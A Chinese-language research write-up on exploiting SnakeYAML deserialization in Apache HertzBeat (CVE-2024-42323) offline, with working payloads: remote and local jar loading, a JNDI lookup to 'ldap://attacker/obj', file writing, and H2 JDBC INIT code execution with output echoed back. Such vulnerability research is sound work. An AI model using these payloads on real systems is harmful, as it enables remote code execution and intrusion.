上周日联合@Ar3h 师傅一起,在【代码审计知识星球】里发布了一个Springboot的小挑战:https://t.zsxq.com/tSBBZ,这个小挑战的核心目标是在无法连接外网的情况下,如何利用PSQL JDBC注入漏洞。我会分两篇文章来讲讲所谓的“不出网利用”,第一篇文章会介绍最近遇到的一个实际案例,也就是Vulhub里的Apache Hertzbeat的后台代码执行漏洞(CVE-2024-42323);第二篇文章《Java利用无外网(下):ClassPathXmlApplicationContext的不出网利用》,来讲讲星球里这个小挑战的预期和非预期答案。
SnakeYAML反序列化历史
Apache HertzBeat是一个开源的实时监控告警工具,支持对操作系统、中间件、数据库等多种对象进行监控,并提供 Web 界面进行管理。
HertzBeat在解析YAML的时候使用了SnakeYAML,而SnakeYAML在满足如下两个条件时,将会存在反序列化漏洞(CVE-2022-1471):
- 版本<2.0
- 初始化Yaml对象时没有使用
SafeConstructor
互联网上已经有很多关于SnakeYAML反序列化原理和利用的文章了,大部分的Payload都是基于ScriptEngineManager
:
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://localhost:8080/"]]]]
我是一个比较喜欢考古的人,我翻了一下这个Payload的来龙去脉。它最早出现或者说被公开是在Moritz Bechler 2017年发布的marshalsec项目以及Paper中,marshalsec相信大家不陌生,几乎是和ysoserial并肩的Java反序列化开山鼻祖之作。
Moritz Bechler在paper中提出,使用JDK自带的ScriptEngineManager类可以加载来自于远程服务器的Jar包,进而通过这个方式执行任意字节码。他同时也提到了另一个使用JNDI来进行RCE的payload,也是很熟悉的类了:
!! com.sun.rowset.JdbcRowSetImpl
dataSourceName: ldap://attacker/obj
autoCommit: true
对于2017年的安全研究者来说,marshalsec提出的这些漏洞以及Gadgets让所有人眼前一亮,相比于ysoserial仅关注Java默认的反序列化漏洞而言,marshalsec填补了json、xml、yaml、hessian等第三方反序列化领域的空缺。
这时候我就有点好奇了,既然2017年就有人提出了SnakeYAML的反序列化漏洞,为什么CVE编号是CVE-2022-1471?
这就不得不说到,SnakeYAML的作者Andrey Somov一直拒绝认为这是一个安全漏洞,直到2022年有好事之徒为这个反序列化漏洞申请了一个CVE编号(CVE-2022-1471),于是正反双方开始在这个issue里进行辩论。
Andrey Somov非常恼火于有太多“低质量”安全工具,一旦发现有项目依赖SnakeYAML就会报反序列化漏洞,而SnakeYAML当时没有针对这个问题发布任何修复建议或补丁。
他认为,100%的SnakeYAML使用场景下,解析的YAML都来自于可信的地方。况且SnakeYAML在十年前就提供了SafeConstructor()
这个类来限制反序列化白名单以外的对象,所以这并不是一个安全漏洞,用户不需要“修复”漏洞。
不过,最后Andrey Somov还是屈服了,为了避免再被安全工具骚扰,他在2.0中“修复”了这个漏洞,修复方法是遵从“Secure by Default”原则——开发者不再需要手工调用SafeConstructor()
,让其成为默认选项。
寻找SnakeYAML利用链
回到漏洞本身,我们其实可以发现,SnakeYAML反序列化的利用,实际上又是一个找Gadget的游戏。marshalsec作者在paper中提到的两个利用链都需要连接外网,第一个需要从http或者ftp地址下载jar包,第二个需要连接恶意JNDI服务器,我们可以找找看是否有更好的利用链。
寻找SnakeYAML Gadget的方法,我并不认为需要单独跑什么工具来从零挖掘,只需看看现在公开的漏洞中,是否有合适的类可以利用。SnakeYAML的利用链和Fastjson其实有点类似,我画了一个表格来描述他们二者的相似与不同点:
Fastjson | SnakeYAML | |
---|---|---|
setter | ✅ | ✅ |
getter | ✅ | ❌ |
constructor | ⭕(有条件) | ✅ |
SnakeYAML的利用链没有办法调用getter,所以可以看看fastjson中常用的那些不需要getter的利用链。
com.sun.org.apache.bcel.internal.util.ClassLoader:看似不需要使用$ref
,但实际上调用JSONObject.toString()的时候触发了getConnection()才能执行字节码,所以实际上这个利用链是需要getter的。另外,bcel对Java版本要求比较高,参考我在《BCEL ClassLoader去哪了》这篇文章中的分析,8u251以后就不再有这个类。
com.sun.rowset.JdbcRowSetImpl:经典payload,但是需要利用JNDI注入,对网络和Java版本都有一定要求。
com.mchange.v2.c3p0.WrapperConnectionPoolDataSource:这个利用链实际上是marshalsec中先为SnakeYAML提出的,后来国内的安全研究者将其应用在了fastjson中。它的优点是可以直接执行字节码,不需要写文件和连接外网,缺点是c3p0这个第三方依赖用的并不多。
sun.rmi.server.MarshalOutputStream:@rmb122在《fastjson 1.2.68 反序列化漏洞 gadgets 挖掘笔记》这篇文章里发现的fastjson写文件利用链。他在文中提到:
这里分享一条我找到的不需要三方库的链, 注意虽然不需要三方库, 但只能在 openjdk >= 11 下利用, 因为只有这些版本没去掉符号信息. fastjson 在类没有无参数构造函数时, 如果其他构造函数是有符号信息的话也是可以调用的, 所以可以多利用一些内部类, 但是 openjdk 8, 包括 oracle jdk 都是不带这些信息的, 导致无法反序列化, 自然也就无法利用. 所以相对比较鸡肋, 仅供学习。
对于有参构造函数来说,json的特性导致fastjson需要找到每个参数的名称才能进行初始化。在Java 8下,内部类没有符号信息,函数参数也就没有名称,导致这个利用链变得鸡肋。
但SnakeYAML对于构造函数并没有特殊要求,我们可以通过type + 参数列表的方式调用任意构造函数,这样让这个利用链能够在不同Java版本中生效。
!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["success.jar"],false],!!java.util.zip.Inflater { input: !!binary eJxLLE5JTCkGAAh5AnE= },1048576]]
我们可以通过这个利用链写入Jar包,然后再利用前面说到的javax.script.ScriptEngineManager
加载本地的Jar包,完成不出网的利用,这是第一个相对比较完美的利用链:
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["file:///success.jar"]]]]
利用JDBC注入执行命令
如果想要利用一个数据包完成命令执行,是否有可以利用的Gadget呢?
既然SnakeYAML可以调用构造函数,其实我最开始想到的是org.springframework.context.support.ClassPathXmlApplicationContext,使用ClassPathXmlApplicationContext来执行任意命令:
!!org.springframework.context.support.ClassPathXmlApplicationContext [ "http://example.com/spring.xml" ]
当然,ClassPathXmlApplicationContext也需要加载远程文件,如果无法连外网,我们也需要通过前面写文件再读取的方式来利用。
《Java安全攻防之老版本 Fastjson 的一些不出网利用》这篇文章中曾经提到fastjson可以借助H2的JDBC注入来利用:
[
{
"@type": "java.lang.Class",
"val": "org.h2.jdbcx.JdbcDataSource"
},
{
"@type": "org.h2.jdbcx.JdbcDataSource",
"url": "jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\\;CREATE ALIAS EXEC AS 'void exec() throws java.io.IOException { Runtime.getRuntime().exec(\"open -a calculator.app\")\\; }'\\;CALL EXEC ()\\;"
},
{
"$ref": "$[1].connection"
}
]
这个POC初始化org.h2.jdbcx.JdbcDataSource后,再利用$[1].connection
来调用getConnection()
,触发JDBC注入。
SnakeYAML虽然并不支持调用getter,但我们也没必要把思路禁锢在getConnection()
。跟进getConnection()
后,我发现其实际上是org.h2.jdbc.JdbcConnection这个类的一个工厂函数:
@Override
public Connection getConnection() throws SQLException {
debugCodeCall("getConnection");
return new JdbcConnection(url, null, userName, StringUtils.cloneCharArray(passwordChars), false);
}
那么就简单了,直接利用SnakeYAML调用JdbcConnection的构造函数即可:
!!org.h2.jdbc.JdbcConnection [ "jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\\;CREATE ALIAS EXEC AS $$void exec() throws java.io.IOException { Runtime.getRuntime().exec(\"calc.exe\")\\; }$$\\;CALL EXEC ()\\;", {}, "a", "b", false ]
优化YAML Payload,减少转义
我们来观察一下这个利用h2编写的POC,这里其实调用了org.h2.jdbc.JdbcConnection的构造函数,并传入了5个参数,他们分别是:
- JDBC的完整URL
- JDBC的属性列表,类型是Java中的
Hashtable
,对应到YAML中就是一个map - 连接用户名
- 连接密码
- 是否禁止创建数据库(forbidCreation)
这里有一个值得关注的参数,forbidCreation,用于禁止创建新的数据库。还记得H2 Database Web Console的未授权访问漏洞导致的JDBC注入(CVE-2022-23221)吗?
这个漏洞的修复方法之一就是将forbidCreation默认值设置为true,禁止创建数据库。
当forbidCreation等于true时,必须在目标服务器上找到一个已经存在的h2数据库文件进行连接才能执行后续JDBC注入操作,内存数据库jdbc:h2:mem
也无法使用。
但幸运的是,JdbcConnection的构造函数支持让攻击者直接控制所有参数,所以直接将其设置为false即可。
另外,我们观察到,第一个参数URL中,由于要在INIT中执行多个SQL语句,所以我使用了反斜线对分号进行转义\;
,但又由于整个URL位于YAML中的字符串中,所以还要再次对反斜线进行转义\\;
,整个POC的可读性大大降低。
网上有一些文章说JDBC的INIT中不支持执行多个SQL语句,其实原因就是没有转义分号导致的,实际上这里并没有限制。
其实JdbcConnection构造函数的第二个参数是属性表,我们完全可以将INIT这种属性放到这里面,以减少URL参数中的转义,然后将YAML修改成我们更熟悉的样式:
!!org.h2.jdbc.JdbcConnection
- jdbc:h2:mem:test
- MODE: MSSQLServer
INIT: |
drop alias if exists exec;
CREATE ALIAS EXEC AS $$void exec() throws Exception {Runtime.getRuntime().exec("calc.exe");}$$;
CALL EXEC ();
- a
- b
- false
利用Spring方法制造回显
Apache Hertzbeat是基于Spring开发的应用,我们可以继续改造Payload,让其使用org.springframework.web.context.request.RequestContextHolder.currentRequestAttributes().getResponse()
拿到response,写入命令执行的结果:
!!org.h2.jdbc.JdbcConnection
- jdbc:h2:mem:test
- MODE: MSSQLServer
INIT: |
DROP ALIAS IF EXISTS EXEC;
CREATE ALIAS EXEC AS $$void exec() throws Exception {org.springframework.util.StreamUtils.copy(java.lang.Runtime.getRuntime().exec("id").getInputStream(),((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.currentRequestAttributes()).getResponse().getOutputStream());}$$;
CALL EXEC ();
- a
- b
- false
后续思考
Apache Hertzbeat在收到漏洞报告后,在v1.4.1版本中“修复”了这个漏洞:https://github.com/apache/hertzbeat/pull/1239。但其实这个补丁效果不大,其利用黑名单的方式禁用了“ScriptEngineManager”和“URLClassLoader”两个关键字:
但阅读本文你可以发现,我们使用的利用链完全不受到这个关键词的影响,更不用说我可以利用YAML中的一些语法绕过检查了。
按照这个PR的时间(2023年9月)来看,当年倔强的SnakeYAML作者也已经发布了2.0版本,通过直接升级版本号的方式就能解决这个问题;如果不能升级依赖,也可以使用SafeConstructor()
来避免反序列化不安全的对象,但他这里还是选择了一个最差的方案。
好在v1.6.0版本中,Hertzbeat最终通过增加SafeConstructor
修复了这个问题:https://github.com/apache/hertzbeat/pull/1611。
回顾本文提到的所有利用链,其中有一个org.springframework.context.support.ClassPathXmlApplicationContext我只提到了一嘴。这个类相信学习过Java安全的同学都非常熟悉,利用这个类真的需要连接外网吗?如果现在有如下Java函数,再无其他用户代码,是否可以不出网利用?
@Controller
public class IndexController {
@ResponseBody
@RequestMapping("/index")
public String index(String name, String arg) throws Exception {
Class<?> clazz = Class.forName(name);
Constructor<?> constructor = clazz.getConstructor(String.class);
Object instance = constructor.newInstance(arg);
return "done";
}
}
这个有点像PHP中的new $_GET[class]($_GET[arg]);
,也是我文首说到的星球小挑战的预期考点。下一篇文章,我会分享一下这道题的官方解法与非预期解法。
参考链接
- Java安全之SnakeYaml反序列化分析
- SnakeYaml反序列化及不出网利用
- Apache HertzBeat反序列化
- SnakeYaml 反序列化的一个小 trick
- springboot snakeyaml利用浅析.pdf
- https://github.com/apache/hertzbeat/pull/1611
- https://github.com/1fabunicorn/SnakeYAML-CVE-2022-1471-POC
- https://bitbucket.org/snakeyaml/snakeyaml/issues/561/cve-2022-1471-vulnerability-in
- https://www.cnblogs.com/LittleHann/p/17828948.html
- https://github.com/apache/hertzbeat/pull/1239
- https://github.com/apache/hertzbeat/pull/1611
- 高版本Fastjson在Java原生反序列化中的利用